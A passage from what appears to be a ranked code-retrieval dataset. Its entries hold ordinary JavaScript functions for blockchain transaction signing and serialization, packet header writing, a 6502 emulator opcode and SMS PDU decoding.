0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "d06eff631f89163976675bd041a36969", "score": "0.4408927", "text": "function bnSigNum() {\nif(this.s < 0) return -1;\nelse if(this.t <= 0 || (this.t == 1 && this.data[0] <= 0)) return 0;\nelse return 1;\n}", "title": "" }, { "docid": "a43e23c20ec67eee4fb19d3dc9c29579", "score": "0.43931478", "text": "static getMinNumSignatures(dataLength) {\n return 2 * ( // Every transaction requires two signatures (payer + program)\n Math.ceil(dataLength / Loader.chunkSize) + 1 + // Add one for Create transaction\n 1) // Add one for Finalize transaction\n ;\n }", "title": "" }, { "docid": "7c201a5f3bb7108e7a37e64937fd76d4", "score": "0.43862316", "text": "function EthTransConfirmAndComplete() {\n\tvar self = this;\n\t\n\t/** @property {Object|null} bag - The object required by the transaction that is peculiar to it and not others.\n\t * \tFor example, most of the EtherBandBattle transactions need access to the game ID and the formatted request\n\t * \tnonce used to create the game.\n\t *\n\t * \tNOTE: Create a new class for each different usage. It is OK to share bag types (Javascript object\n\t * \t\ttypes) between usage context as long as the object field properties are identical.\n\t *\n\t * \tNOTE: If a data bag is no required, assign the EmptyDataBag() object to keep the validateMe()\n\t * \t\tfunction from throwing an error.\n\t */\n\tthis.bag = null;\n\t\n\t/** @property {Function|null} funcBuildCurriedMethodCall - The method that is called when\n\t * \t\tbuilding a smart contract method call that actually knows how to build that\n\t * \t\tcall for a particular Ethereum transaction.\n\t */\n\tthis.funcBuildCurriedMethodCall = null;\n\t\n\t/** @property {Promise|null} funcPrerequisitesCheck_promise - The method that is called repeatedly\n\t *\t\tuntil the smart contract is in a certain condition (and perhaps if other\n\t *\t\tnon-contract conditions are met). See the lifecycle state machine constants for\n\t *\t\ta more detailed explanation.\n\t */\n\tthis.funcPrerequisitesCheck_promise = null;\n\t\n\t/** @property {Promise|null} funcConfirmTrans_promise - The method that is called repeatedly\n\t *\t\tthat knows what smart contract method to call to see if the transaction\n\t *\t\twas mined/confirmed successfully.\n\t */\n\tthis.funcConfirmTrans_promise = null;\n\t\n\t/** @property {Promise|null} [funcOnCompletion_promise] - This function will be called when\n\t * \t\twhen the transaction completes without a time-out or failure of a promise in the\n\t * \t\tchain of steps involved with executing an Ethereum transaction fully.\n\t */\n\tthis.funcOnCompletion_promise = null;\n\t\n\t/** @property {Function<boolean>|null} [funcOnError] - MUST NOT BE A PROMISE or ASYNC!\n\t * \t\tThis function will be called when when the transaction times-out or\n\t * \t\tif one of the promises in the chain of steps fails. It returns TRUE if it\n\t * \t\twants the transaction to be retried, otherwise FALSE is returned.\n\t */\n\tthis.funcOnError = null;\n\t\n\t/** @property {Function<Eth|null} funcAddDetailsForLogging -\n\t * \t\tCalling this method returns a string intended to be added to any log messages\n\t * \t\t\tthat involve the transaction associated with this object. The function\n\t * \t\t\tis expected to take a single EthTransLifecycle parameter.\n\t */\n\tthis.funcAddDetailsForLogging = null;\n\t\n\t/** @property {boolean} isServerSideTransaction - If TRUE, then the transaction\n\t *\t\tobject services was created by ther server. If FALSE, it was created\n\t *\t\tby some agent on the client side, like Metamask.\n\t */\n\tthis.isServerSideTransaction = null;\n\t\n\t/** @property {string} operationDesc - A helpful short description of the transaction. */\n\tthis.operationDesc = null;\n\t\n\t/**\n\t * This method validates this object's properties. If one of the properties is\n\t * \tinvalid, an Error is thrown.\n\t *\n\t */\n\tthis.validateMe = function () {\n\t\tlet errPrefix = '(EthTransConfirmAndComplete::validateMe) ';\n\t\t\n\t\tif (!self.bag)\n\t\t\tthrow new Error(errPrefix + 'The data bag is unassigned. If one is not needed, use the EmptyDataBag object for this property.');\n\t\t\t\n\t\t// Validate the data bag.\n\t\tself.bag.validateMe();\n\t\t\n\t\t// Is this is a server side created Ethereum transaction?\n\t\tif (self.isServerSideTransaction) {\n\t\t\t// ================================== SERVER SIDE CREATED TRANSACTION ===========\n\t\t\t\n\t\t\t// Yes. Then we must have a function that helps us build the Ethereum transaction\n\t\t\t// since we are creating/executing that transaction on the server.\n\t\t\tif (!common_routines.isNonNullFunction(self.funcBuildCurriedMethodCall))\n\t\t\t\tthrow new Error(errPrefix + 'The function that builds the Ethereum smart contract method is invalid and this is a server side transaction.');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// ================================== CLIENT SIDE CREATED TRANSACTION =============\n\t\t\n\t\t\t// No. Then the function that helps us build a Ethereum transaction\n\t\t\t// should be NULL since we are NOT creating/executing that transaction\n\t\t\t// on the server, since that happened on the client side.\n\t\t\tif (common_routines.isNonNullFunction(self.funcBuildCurriedMethodCall))\n\t\t\t\tthrow new Error(errPrefix + 'A function that builds the Ethereum smart contract method was provided which is invalid for a server side transaction.');\n\t\t\t\t\n\t\t\t// However, we must have the Ethereum transaction hash that Metamask gave the\n\t\t\t// client side code when the user made a payment. It should have been\n\t\t\t// placed in the data bag with a property name of \"txHash\".\n\t\t\tif (!self.bag.hasOwnProperty(\"txHashObj\"))\n\t\t\t\tthrow new Error(errPrefix + 'The transaction is a client side transaction but the data bag does not have a field property for the expected Metamask transaction hash.');\n\t\t\t\t\n\t\t\tif (misc_shared_lib.isEmptySafeString(self.bag.txHashObj.transactionHash))\n\t\t\t\tthrow new Error(errPrefix + 'The transaction is a client side transaction but the Metamask transaction object has an empty transaction hash.');\n\t\t\t\t\n\t\t\t// Client side created transactions can not have a prerequisites check function because the\n\t\t\t// transaction has already been sent.\n\t\t\tif (common_routines.isNonNullFunction(self.funcPrerequisitesCheck_promise))\n\t\t\t\tthrow new Error(errPrefix + 'Prerequisite check function found for a client side created transaction. This is not allowed.');\n\t\t}\n\t\t\n\t\t// This function must be NULL or a valid function.\n\t\tif (self.funcConfirmTrans_promise !== null && !common_routines.isNonNullFunction(self.funcConfirmTrans_promise))\n\t\t\tthrow new Error(errPrefix + 'The function that confirms that the transaction has been successfully'\n\t\t\t\t+ 'mined/confirmed is invalid.');\n\t\t\n\t\t// This function must be NULL or a valid function.\n\t\tif (self.funcAddDetailsForLogging !== null && !common_routines.isNonNullFunction(self.funcAddDetailsForLogging))\n\t\t\tthrow new Error(errPrefix + 'The function that adorns logging messages is invalid.');\n\t\t\t\n\t\t// This function must be NULL or a valid function.\n\t\tif (self.funcOnCompletion_promise !== null && !common_routines.isNonNullFunction(self.funcOnCompletion_promise))\n\t\t\tthrow new Error(errPrefix + 'The function that is called when a transaction completes properly is invalid.');\n\t\t\t\n\t\t// This function must be NULL or a valid function.\n\t\tif (self.funcOnError !== null && !common_routines.isNonNullFunction(self.funcOnError))\n\t\t\tthrow new Error(errPrefix + 'The function that is called when a transaction suffers an error is invalid.');\n\t\t\t\n\t\t// Make sure the on-error function if it isn't NULL is not a promise!\n\t\tif (self.funcOnError !== null) {\n\t\t\tif (self.funcOnError instanceof Promise)\n\t\t\t\tthrow new Error(\n\t\t\t\t\terrPrefix +\n\t\t\t\t\t'The function that is called when a transaction suffers an error is a Promise.'\n\t\t\t\t\t+ ' This function must not be a Promise or otherwise async in nature!.');\n\t\t}\n\t\t\n\t\tif (self.isServerSideTransaction === null)\n\t\t\tthrow new Error(errPrefix + 'The flag that indicates if a transaction was created on the client or server side is not boolean.');\n\t\t\t\n\t\tif (misc_shared_lib.isEmptySafeString(self.operationDesc))\n\t\t\tthrow new Error(errPrefix + 'The transaction operation description is empty.');\n\t\t\t\n\t}\n\n\t/**\n\t * The method initializes the properties of this object.\n\t *\n\t * @param {boolean} bIsServerSideTransaction - If this transaction was created on\n\t * \tserver, set this value to TRUE. If it was created on the client side, set it\n\t * \tto FALSE.\n\t * @param {Function<EthTransConfirmAndComplete>|null} funcAddDetailsForLogging - The optional function\n\t * \tthat if present can be called to adorn any log messages generated by this transaction.\n\t * \tFor example, the EtherBandBattles transactions would want to show the game ID for the\n\t * \ttransaction. See the property description in EthTranConfirmAndComplete with the\n\t * \tsame name as the parameter for further details. May be NULL.\n\t * @param {Function<Contract>|null} funcBuildCurriedMethodCall - A function\n\t * \tthat accepts a Contract object with its deployment address set\n\t * \tas its sole parameter that is expected to return a curried\n\t * \tsmart contract method for the desired method to be called. May be NULL\n\t * \tand will be NULL for client side created transactions.\n\t * @param {Promise<boolean>|null} funcPrerequisitesCheck_promise - The method that is called\n\t * repeatedly until the smart contract is in a certain condition (and perhaps if other\n\t *\tnon-contract conditions are met). See the lifecycle state machine constants for\n\t *\ta more detailed explanation. May be NULL.\n\t * @param {Promise<boolean>} funcConfirmTrans_promise - The method that is called repeatedly\n\t *\tthat knows what smart contract method to call to see if the transaction\n\t *\twas mined/confirmed successfully.\n\t * @param {Promise<boolean>|null} funcOnCompletion_promise - The optional function that will be\n\t * \tcalled when the transaction completes or failures. In the event of a failure, an\n\t * \terror object will be passed to the call. Otherwise NULL will be passed to this\n\t * \tfunction. May be NULL.\n\t * @param {Function<boolean>|null} funcOnError - NOT A PROMISE or ASYNC! The method that is called\n\t * if a transaction times-out or suffers a rejection in one of the promises involved\n\t * with the chain of steps in executing a full Ethereum transaction. If it is NULL,\n\t * then the default error handler will be called.\n\t *\n\t * IMPORTANT!: The on-error handler should return TRUE if it wants the transaction to be\n\t * \tretried, FALSE if not!\n\t * @param {string} operationDesc - A helpful short description of the transaction.\n\t */\n\tthis.initialize = function(\n\t\t\tbIsServerSideTransaction,\n\t\t\tfuncAddDetailsForLogging,\n\t\t\tfuncBuildCurriedMethodCall,\n\t\t\tfuncPrerequisitesCheck_promise,\n\t\t\tfuncConfirmTrans_promise,\n\t\t\tfuncOnCompletion_promise,\n\t\t\tfuncOnError,\n\t\t\toperationDesc) {\n\t\t\t\n\t\tlet errPrefix = '(EthTransConfirmAndComplete::initialize) ';\n\t\t\n\t\tthis.funcAddDetailsForLogging = funcAddDetailsForLogging;\n\t\tthis.funcBuildCurriedMethodCall = funcBuildCurriedMethodCall;\n\t\tthis.funcPrerequisitesCheck_promise = funcPrerequisitesCheck_promise;\n\t\tthis.funcConfirmTrans_promise = funcConfirmTrans_promise;\n\t\tthis.funcOnCompletion_promise = funcOnCompletion_promise;\n\t\tthis.funcOnError = funcOnError;\n\t\tthis.isServerSideTransaction = bIsServerSideTransaction;\n\t\tthis.operationDesc = operationDesc;\n\n\t\tthis.validateMe(errPrefix);\n\t}\n\t\n\t/**\n\t * This method gets a property from the bag of data for this transaction.\n\t *\n\t * @param {string} propName - The name of the desired data element.\n\t *\n\t * @return {*} - Returns the value belonging to the given property.\n\t */\n\tthis.getPropFromBagByName = function(propName) {\n\t\tlet errPrefix = '(thTransConfirmAndComplete::getPropFromBagByName) ';\n\t\t\n\t\tif (misc_shared_lib.isEmptySafeString(propName))\n\t\t\tthrow new Error(errPrefix + 'The property name is empty.');\n\n\t\tif (!self.bag[propName])\n\t\t\tthrow new Error(errPrefix + 'The Ethereum transaction bag of data object does not contain a property named: ' + propName);\n\t\t\t\n\t\treturn self.bag[propName];\n\t}\n\t\n\t/**\n\t * This method pretty prints a string containing the most useful field elements belonging to this\n\t * \ttransaction for use in adorning log messages. The Ethereum State Machine calls this function to get additional\n\t * \tinformation about the transaction the confirm and complete object belongs to.\n\t *\n\t * @param {EthTransLifecycle} - This input parameter should contain a reference to the lifecycle object\n\t * \tthat owns this confirm and complete object.\n\t */\n\tthis.transactionDetailsForLogging = function(ownerLifecycleObj) {\n\t\tlet methodName = 'transactionDetailsForLogging';\n\t\tlet errPrefix = '(' + methodName + ') ';\n\t\t\n\t\tlet retStr = '';\n\t\t\n\t\tif (!ownerLifecycleObj)\n\t\t\tthrow new Error(errPrefix + 'The owner lifecycle object parameter is empty.');\n\t\t\n\t\tif (!(ownerLifecycleObj instanceof EthTransLifecycle))\n\t\t\tthrow new Error(errPrefix + 'The value in the ownerLifecycleObj parameter is not a EthTransLifecycle object.');\n\t\t\t\n\t\t// Were we provided an auxiliary object detail printing function?\n\t\tif (typeof self.funcAddDetailsForLogging === 'function')\n\t\t\t// Yes. Call it to get the additional logging details.\n\t\t\tretStr += ' ' + self.funcAddDetailsForLogging(ownerLifecycleObj);\n\t\t\t\n\t\treturn retStr;\n\t}\n\n}", "title": "" }, { "docid": "16889df79ff845fbab533993a2a5bcae", "score": "0.4382616", "text": "async _signTx(Tx) {\n try {\n let tx = JSON.parse(JSON.stringify(Tx));\n for (let i = 0; i < tx[\"Tx\"][\"Vin\"].length; i++) {\n let txIn = JSON.parse(JSON.stringify(tx[\"Tx\"][\"Vin\"][i]))\n let consumedHash = txIn[\"TXInLinker\"][\"TXInPreImage\"][\"ConsumedTxHash\"];\n let consumedIdx = txIn[\"TXInLinker\"][\"TXInPreImage\"][\"ConsumedTxIdx\"] ? txIn[\"TXInLinker\"][\"TXInPreImage\"][\"ConsumedTxIdx\"] : \"0\";\n let txInObj;\n for (let j = 0; j < this.txInOwners.length; j++) {\n if (String(this.txInOwners[j][\"txHash\"]) === String(consumedHash) && String(this.txInOwners[j][\"txOutIdx\"]) && String(consumedIdx)) {\n txInObj = this.txInOwners[j];\n break;\n }\n }\n if (!txInObj) {\n throw \"TxIn owner could not be found\"\n }\n let ownerAccount = await this.Wallet.Account.getAccount(txInObj[\"address\"])\n let signed = await ownerAccount[\"MultiSigner\"].sign(\"0x\" + txIn[\"Signature\"]);\n let signature;\n if (txInObj.isDataStore) {\n signature = await utils.prefixSVACurve(3, ownerAccount[\"MultiSigner\"][\"curve\"], signed);\n } else {\n signature = await utils.prefixSVACurve(1, ownerAccount[\"MultiSigner\"][\"curve\"], signed);\n }\n txIn[\"Signature\"] = signature;\n this.Vin[i] = txIn;\n }\n for (let i = 0; i < tx[\"Tx\"][\"Vout\"].length; i++) {\n let txOut = JSON.parse(JSON.stringify(tx[\"Tx\"][\"Vout\"][i]))\n if (txOut[\"DataStore\"]) {\n let owner = await utils.extractOwner(txOut[\"DataStore\"][\"DSLinker\"][\"DSPreImage\"][\"Owner\"])\n let ownerAccount = await this.Wallet.Account.getAccount(owner[2]);\n let signed = await ownerAccount[\"MultiSigner\"].sign(\"0x\" + txOut[\"DataStore\"][\"Signature\"]);\n let signature = await utils.prefixSVACurve(3, ownerAccount[\"MultiSigner\"][\"curve\"], signed);\n txOut[\"DataStore\"][\"Signature\"] = signature;\n }\n this.Vout[i] = txOut;\n }\n }\n catch (ex) {\n throw new Error(\"Tx.sign: \" + String(ex));\n }\n }", "title": "" }, { "docid": "6790d03651eec5c14993cdf1dabc5831", "score": "0.43760586", "text": "function isValidTransaction(tx) {\n const startingBalance = tx.input.amount;\n const outputBalance = tx.outputs.reduce((acc, out) => acc + out.amount, 0);\n // sum of all outputs must match input\n if (outputBalance !== startingBalance) {\n return false;\n }\n const { address, signature } = tx.input;\n const expectedTxHash = crypto_1.generateHash(JSON.stringify(tx.outputs));\n return crypto_1.verifySignature(address, signature, expectedTxHash);\n}", "title": "" }, { "docid": "e3fe59ea81f5e681ea6f5f0c3b0ced9e", "score": "0.43648794", "text": "#writeHeader() {\n // C++ void writeHeader()\n const messageData = this.#_messageData;\n\n let seqNumBitField = messageData.sequenceNumber;\n if (messageData.isReliable) {\n seqNumBitField |= UDT.RELIABILITY_BIT_MASK;\n }\n if (messageData.isPartOfMessage) {\n seqNumBitField |= UDT.MESSAGE_BIT_MASK;\n }\n if (messageData.obfuscationLevel !== Packet.NoObfuscation) {\n seqNumBitField |= (messageData.obfuscationLevel << UDT.OBFUSCATION_LEVEL_OFFSET);\n }\n messageData.data.setUint32(messageData.dataPosition, seqNumBitField, UDT.LITTLE_ENDIAN);\n messageData.dataPosition += 4;\n\n if (messageData.isPartOfMessage) {\n let messageNumberAndBitField = messageData.messageNumber;\n messageNumberAndBitField |= messageData.packetPosition << UDT.PACKET_POSITION_OFFSET;\n messageData.data.setUint32(messageData.dataPosition, messageNumberAndBitField, UDT.LITTLE_ENDIAN);\n messageData.dataPosition += 4;\n\n messageData.data.setUint32(messageData.dataPosition, messageData.messagePartNumber, UDT.LITTLE_ENDIAN);\n messageData.dataPosition += 4;\n }\n }", "title": "" }, { "docid": "b35c9d4bc2a0758ab1c399b725337e1a", "score": "0.43615577", "text": "getProtoEncodedTx(TXObject) {\n return account_1.util.encodeTransactionProto(TXObject);\n }", "title": "" }, { "docid": "b17f38a352f76df57a1abfbb12aa451d", "score": "0.43597883", "text": "function generateOutgoingData(settings) {\n let payload = Buffer.alloc(48);\n let channel = settings.channel;\n\n payload.writeUInt8(16, 0);\n\n payload.writeUInt16BE(channel[0].lowTriggerValue, 1);\n payload.writeUInt16BE(channel[0].highTriggerValue, 3);\n payload.writeUInt8(channel[0].triggerMode, 5);\n\n payload.writeUInt16BE(channel[1].lowTriggerValue, 6);\n payload.writeUInt16BE(channel[1].highTriggerValue, 8);\n payload.writeUInt8(channel[1].triggerMode, 10);\n\n payload.writeUInt16BE(channel[2].lowTriggerValue, 11);\n payload.writeUInt16BE(channel[2].highTriggerValue, 13);\n payload.writeUInt8(channel[2].triggerMode, 15);\n\n payload.writeUInt8(32, 16);\n\n payload.writeUInt16BE(channel[3].lowTriggerValue, 17);\n payload.writeUInt16BE(channel[3].highTriggerValue, 19);\n payload.writeUInt8(channel[3].triggerMode, 21);\n\n payload.writeUInt16BE(channel[4].lowTriggerValue, 22);\n payload.writeUInt16BE(channel[4].highTriggerValue, 24);\n payload.writeUInt8(channel[4].triggerMode, 26);\n\n payload.writeUInt16BE(channel[5].lowTriggerValue, 27);\n payload.writeUInt16BE(channel[5].highTriggerValue, 29);\n payload.writeUInt8(channel[5].triggerMode, 31);\n\n payload.writeUInt8(48, 32);\n\n payload.writeUInt8(channel[0].outputMode, 33);\n payload.writeUInt8(channel[1].outputMode, 34);\n payload.writeUInt8(channel[2].outputMode, 35);\n payload.writeUInt8(channel[3].outputMode, 36);\n payload.writeUInt8(channel[4].outputMode, 37);\n payload.writeUInt8(channel[5].outputMode, 38);\n\n payload.writeUInt32BE(settings.device.sendInterval, 39);\n payload.writeUInt32BE(settings.device.errorInterval, 43);\n payload.writeUInt8(settings.device.maxErrorCount, 47);\n\n return payload;\n }", "title": "" }, { "docid": "325e428db8630ac950c2b64a936f4b54", "score": "0.4358069", "text": "function _serialize(transaction, signature) {\n checkProperties(transaction, allowedTransactionKeys$1);\n const raw = [];\n transactionFields.forEach(function (fieldInfo) {\n let value = transaction[fieldInfo.name] || ([]);\n const options = {};\n if (fieldInfo.numeric) {\n options.hexPad = \"left\";\n }\n value = arrayify(hexlify(value, options));\n // Fixed-width field\n if (fieldInfo.length && value.length !== fieldInfo.length && value.length > 0) {\n logger$h.throwArgumentError(\"invalid length for \" + fieldInfo.name, (\"transaction:\" + fieldInfo.name), value);\n }\n // Variable-width (with a maximum)\n if (fieldInfo.maxLength) {\n value = stripZeros(value);\n if (value.length > fieldInfo.maxLength) {\n logger$h.throwArgumentError(\"invalid length for \" + fieldInfo.name, (\"transaction:\" + fieldInfo.name), value);\n }\n }\n raw.push(hexlify(value));\n });\n let chainId = 0;\n if (transaction.chainId != null) {\n // A chainId was provided; if non-zero we'll use EIP-155\n chainId = transaction.chainId;\n if (typeof (chainId) !== \"number\") {\n logger$h.throwArgumentError(\"invalid transaction.chainId\", \"transaction\", transaction);\n }\n }\n else if (signature && !isBytesLike(signature) && signature.v > 28) {\n // No chainId provided, but the signature is signing with EIP-155; derive chainId\n chainId = Math.floor((signature.v - 35) / 2);\n }\n // We have an EIP-155 transaction (chainId was specified and non-zero)\n if (chainId !== 0) {\n raw.push(hexlify(chainId)); // @TODO: hexValue?\n raw.push(\"0x\");\n raw.push(\"0x\");\n }\n // Requesting an unsigned transation\n if (!signature) {\n return encode(raw);\n }\n // The splitSignature will ensure the transaction has a recoveryParam in the\n // case that the signTransaction function only adds a v.\n const sig = splitSignature(signature);\n // We pushed a chainId and null r, s on for hashing only; remove those\n let v = 27 + sig.recoveryParam;\n if (chainId !== 0) {\n raw.pop();\n raw.pop();\n raw.pop();\n v += chainId * 2 + 8;\n // If an EIP-155 v (directly or indirectly; maybe _vs) was provided, check it!\n if (sig.v > 28 && sig.v !== v) {\n logger$h.throwArgumentError(\"transaction.chainId/signature.v mismatch\", \"signature\", signature);\n }\n }\n else if (sig.v !== v) {\n logger$h.throwArgumentError(\"transaction.chainId/signature.v mismatch\", \"signature\", signature);\n }\n raw.push(hexlify(v));\n raw.push(stripZeros(arrayify(sig.r)));\n raw.push(stripZeros(arrayify(sig.s)));\n return encode(raw);\n}", "title": "" }, { "docid": "5c7200f7437a40d3e91358a62514bfa5", "score": "0.43498757", "text": "function TSX() {\n\t\t\t\t\tX = SP;\n\t\t\t\t\tflagN = (X & 0x80) && 1;\n\t\t\t\t\tflagZ = +(X === 0);\n\t\t\t\t}", "title": "" }, { "docid": "a19fd0e200578963adb1e1a0180168a5", "score": "0.43449435", "text": "function sync_batch_txs() {}", "title": "" }, { "docid": "9da8999b8659831976b7ffde6b81541e", "score": "0.43438554", "text": "function getPDUMetaInfo(inp)\n{\n var PDUString = inp;\n var start = 0;\n var out = \"\";\n\n\n\n\n // Silently Strip leading AT command\n if (PDUString.substr(0, 2) == \"AT\")\n {\n for (var i = 0; i < PDUString.length; i++)\n {\n if (PDUString.charCodeAt(i) == 10)\n {\n PDUString = PDUString.substr(i + 1);\n break;\n }\n }\n }\n\n\n\n\n // Silently strip whitespace\n var NewPDU = \"\";\n for (var i = 0; i < PDUString.length; i++)\n {\n if (MakeNum(PDUString.substr(i, 1)) != 16)\n {\n NewPDU = NewPDU + PDUString.substr(i, 1);\n }\n }\n PDUString = NewPDU;\n\n\n\n\n var SMSC_lengthInfo = HexToNum(PDUString.substring(0, 2));\n var SMSC_info = PDUString.substring(2, 2 + (SMSC_lengthInfo * 2));\n var SMSC_TypeOfAddress = SMSC_info.substring(0, 2);\n var SMSC_Number = SMSC_info.substring(2, 2 + (SMSC_lengthInfo * 2));\n\n\n\n\n if (SMSC_lengthInfo != 0)\n {\n SMSC_Number = semiOctetToString(SMSC_Number);\n\n // if the length is odd remove the trailing F\n if ((SMSC_Number.substr(SMSC_Number.length - 1, 1) == 'F') || (SMSC_Number.substr(SMSC_Number.length - 1, 1) == 'f'))\n {\n SMSC_Number = SMSC_Number.substring(0, SMSC_Number.length - 1);\n }\n if (SMSC_TypeOfAddress == 91)\n {\n SMSC_Number = \"+\" + SMSC_Number;\n }\n }\n\n var start_SMSDeleivery = (SMSC_lengthInfo * 2) + 2;\n\n\n\n\n start = start_SMSDeleivery;\n var firstOctet_SMSDeliver = PDUString.substr(start, 2);\n start = start + 2;\n if ((HexToNum(firstOctet_SMSDeliver) & 0x20) == 0x20)\n {\n out += \"Receipt requested\\n\";\n }\n var DataHeader = 0;\n if ((HexToNum(firstOctet_SMSDeliver) & 0x40) == 0x40)\n {\n DataHeader = 1;\n out += \"Data Header\\n\";\n }\n\n\n\n\n//\tbit1\tbit0\tMessage type\n//\t0\t0\tSMS DELIVER (in the direction SC to MS)\t\n//\t0\t0\tSMS DELIVER REPORT (in the direction MS to SC)\t\n//\t1\t0\tSMS STATUS REPORT (in the direction SC to MS)\t\t\n//\t1\t0\tSMS COMMAND (in the direction MS to SC)\t\n//\t0\t1\tSMS SUBMIT (in the direction MS to SC)\t\n//\t0\t1\tSMS SUBMIT REPORT (in the direction SC to MS)\t\n//\t1\t1\tReserved\n\n\n\n\n// This needs tidying up!! AJA\n\n\n\n\n if ((HexToNum(firstOctet_SMSDeliver) & 0x03) == 1 || (HexToNum(firstOctet_SMSDeliver) & 0x03) == 3) // Transmit Message\n {\n if ((HexToNum(firstOctet_SMSDeliver) & 0x03) == 3)\n {\n out = \"Unknown Message\\nTreat as Deliver\\n\";\n }\n var MessageReference = HexToNum(PDUString.substr(start, 2));\n start = start + 2;\n\n\n\n\n // length in decimals\n var sender_addressLength = HexToNum(PDUString.substr(start, 2));\n if (sender_addressLength % 2 != 0)\n {\n sender_addressLength += 1;\n }\n start = start + 2;\n\n\n\n\n var sender_typeOfAddress = PDUString.substr(start, 2);\n start = start + 2\n\n\n\n\n var sender_number = semiOctetToString(PDUString.substring(start, start + sender_addressLength));\n\n\n\n\n if ((sender_number.substr(sender_number.length - 1, 1) == 'F') || (sender_number.substr(sender_number.length - 1, 1) == 'f'))\n {\n sender_number = sender_number.substring(0, sender_number.length - 1);\n }\n if (sender_typeOfAddress == 91)\n {\n sender_number = \"+\" + sender_number;\n }\n start += sender_addressLength;\n\n\n\n\n var tp_PID = PDUString.substr(start, 2);\n start += 2;\n\n\n\n\n var tp_DCS = PDUString.substr(start, 2);\n var tp_DCS_desc = tpDCSMeaning(tp_DCS);\n start += 2;\n\n\n\n\n var ValidityPeriod;\n switch ((HexToNum(firstOctet_SMSDeliver) & 0x18))\n {\n case 0: // Not Present\n ValidityPeriod = \"Not Present\";\n break;\n case 0x10: // Relative\n ValidityPeriod = \"Rel \" + cValid(HexToNum(PDUString.substr(start, 2)));\n start += 2;\n break;\n case 0x08: // Enhanced\n ValidityPeriod = \"Enhanced - Not Decoded\";\n start += 14;\n break;\n case 0x18: // Absolute\n ValidityPeriod = \"Absolute - Not Decoded\";\n start += 14;\n break;\n }\n\n\n\n\n// Commonish...\n var messageLength = HexToNum(PDUString.substr(start, 2));\n\n start += 2;\n\n var bitSize = DCS_Bits(tp_DCS);\n var userData = \"Undefined format\";\n if (bitSize == 7)\n {\n userData = getUserMessage(PDUString.substr(start, PDUString.length - start), messageLength);\n }\n else if (bitSize == 8)\n {\n userData = getUserMessage8(PDUString.substr(start, PDUString.length - start), messageLength);\n }\n else if (bitSize == 16)\n {\n userData = getUserMessage16(PDUString.substr(start, PDUString.length - start), messageLength);\n }\n\n\n\n\n userData = userData.substr(0, messageLength);\n if (bitSize == 16)\n {\n messageLength /= 2;\n }\n\n\n\n\n out += \"SMSC#\" + SMSC_Number + \"\\nReceipient:\" + sender_number + \"\\nValidity:\" + ValidityPeriod + \"\\nTP_PID:\" + tp_PID + \"\\nTP_DCS:\" + tp_DCS + \"\\nTP_DCS-popis:\" + tp_DCS_desc + \"\\n\" + userData + \"\\nLength:\" + messageLength;\n }\n else // Receive Message\n if ((HexToNum(firstOctet_SMSDeliver) & 0x03) == 0) // Receive Message\n {\n // length in decimals\n var sender_addressLength = HexToNum(PDUString.substr(start, 2));\n\n\n\n\n start = start + 2;\n\n\n\n\n var sender_typeOfAddress = PDUString.substr(start, 2);\n start = start + 2\n\n\n\n\n var sender_number;\n if (sender_typeOfAddress == \"D0\")\n {\n _sl = sender_addressLength;\n\n\n\n\n if (sender_addressLength % 2 != 0)\n {\n sender_addressLength += 1;\n }\n\n\n\n\n//alert(sender_addressLength);\n//alert(_sl);\n\n\n\n\n//alert(parseInt(sender_addressLength/2*8/7));\n//alert(parseInt(_sl/2*8/7));\n\n\n\n\n//alert(PDUString.substring(start,start+sender_addressLength));\n//alert(PDUString.substring(start,start+_sl));\n\n\n\n\n//\t\t\tsender_number = getUserMessage(PDUString.substring(start,start+sender_addressLength),parseInt(sender_addressLength/2*8/7));\n sender_number = getUserMessage(PDUString.substring(start, start + sender_addressLength), parseInt(_sl / 2 * 8 / 7));\n//alert(sender_number);\n }\n else\n {\n\n\n\n\n if (sender_addressLength % 2 != 0)\n {\n sender_addressLength += 1;\n }\n\n\n\n\n sender_number = semiOctetToString(PDUString.substring(start, start + sender_addressLength));\n\n if ((sender_number.substr(sender_number.length - 1, 1) == 'F') || (sender_number.substr(sender_number.length - 1, 1) == 'f'))\n {\n sender_number = sender_number.substring(0, sender_number.length - 1);\n }\n if (sender_typeOfAddress == 91)\n {\n sender_number = \"+\" + sender_number;\n }\n }\n start += sender_addressLength;\n\n\n\n\n var tp_PID = PDUString.substr(start, 2);\n start += 2;\n\n\n\n\n var tp_DCS = PDUString.substr(start, 2);\n var tp_DCS_desc = tpDCSMeaning(tp_DCS);\n start += 2;\n\n\n\n\n var timeStamp = semiOctetToString(PDUString.substr(start, 14));\n\n // get date\t\n var year = timeStamp.substring(0, 2);\n var month = timeStamp.substring(2, 4);\n var day = timeStamp.substring(4, 6);\n var hours = timeStamp.substring(6, 8);\n var minutes = timeStamp.substring(8, 10);\n var seconds = timeStamp.substring(10, 12);\n\n\n\n\n timeStamp = day + \"/\" + month + \"/\" + year + \" \" + hours + \":\" + minutes + \":\" + seconds + \" GMT ?\"; //+\" + timezone/4;\n\n\n\n\n /*\n var timezone = MakeNum(timeStamp.substring(12,13)); // timeStamp.substring(12,14);\n if (timezone >= 8)\n {\n timezone -= 8;\n timezone = timezone + timeStamp.substring(13,14); // Concats :: yeuck\n timezone = -timezone;\n timeStamp += \"-\";\n \n \n \n \n }\n else\n {\n timezone = timezone + timeStamp.substring(13,14); // Concats :: yeuck\n timeStamp += \"+\";\n }\n \n timeStamp += timezone/4;\n */\n start += 14;\n\n\n\n\n// Commonish...\n var messageLength = HexToNum(PDUString.substr(start, 2));\n start += 2;\n\n\n\n\n var bitSize = DCS_Bits(tp_DCS);\n var userData = \"Undefined format\";\n if (bitSize == 7)\n {\n userData = getUserMessage(PDUString.substr(start, PDUString.length - start), messageLength);\n }\n else if (bitSize == 8)\n {\n userData = getUserMessage8(PDUString.substr(start, PDUString.length - start), messageLength);\n }\n else if (bitSize == 16)\n {\n userData = getUserMessage16(PDUString.substr(start, PDUString.length - start), messageLength);\n }\n\n\n\n\n userData = userData.substr(0, messageLength);\n\n\n\n\n if (bitSize == 16)\n {\n messageLength /= 2;\n }\n\n out += \"SMSC#\" + SMSC_Number + \"\\nSender:\" + sender_number + \"\\nTimeStamp:\" + timeStamp + \"\\nTP_PID:\" + tp_PID + \"\\nTP_DCS:\" + tp_DCS + \"\\nTP_DCS-popis:\" + tp_DCS_desc + \"\\n\" + userData + \"\\nLength:\" + messageLength;\n }\n else\n {\n out = \"Status Report\\n\";\n\n\n\n\n var MessageReference = HexToNum(PDUString.substr(start, 2)); // 